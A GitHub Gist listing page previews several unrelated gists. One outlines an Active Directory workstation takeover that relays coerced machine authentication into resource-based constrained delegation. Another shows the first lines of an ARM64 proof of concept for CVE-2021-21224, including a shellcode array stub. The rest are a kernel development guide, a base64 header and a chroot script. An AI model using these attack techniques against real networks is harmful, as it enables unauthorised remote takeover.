Skip to content

Instantly share code, notes, and snippets.

@gladiatx0r
gladiatx0r / Workstation-Takeover.md
Last active April 25, 2024 13:23
From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

  • Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
  • Relaying that machine authentication to LDAPS for configuring RBCD
  • RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

@wdormann
wdormann / CVE-2021-21224.html
Last active October 31, 2022 22:01
Sample ARM64 PoC for CVE-2021-21224
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [
// Move x18 to x28 (TEB)
@vegard
vegard / kernel-dev.md
Last active May 6, 2024 08:55
Getting started with Linux kernel development

Getting started with Linux kernel development

Prerequisites

The Linux kernel is written in C, so you should have at least a basic understanding of C before diving into kernel work. You don't need expert level C knowledge, since you can always pick some things up underway, but it certainly helps to know the language and to have written some userspace C programs already.

It will also help to be a Linux user. If you have never used Linux before, it's probably a good idea to download a distro and get comfortable with it before you start doing kernel work.

Lastly, knowing git is not actually required, but can really help you (since you can dig through changelogs and search for information you'll need). At a minimum you should probably be able to clone the git repository to a local directory.

@tomykaira
tomykaira / Base64.h
Last active March 30, 2024 11:04
C++ single header base64 decode/encoder for C++ 11 and above.
#ifndef _MACARON_BASE64_H_
#define _MACARON_BASE64_H_
/**
* The MIT License (MIT)
* Copyright (c) 2016-2024 tomykaira
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
@prurigro
prurigro / archroot.sh
Last active June 17, 2021 22:31
An overlayfs-based chroot management script for deployable arch build environments
#!/usr/bin/env bash
#
# archroot
# An overlayfs chroot management script for deployable arch build environments
#
# Version 1.18
#
# Written by Kevin MacMartin
# Released under the MIT license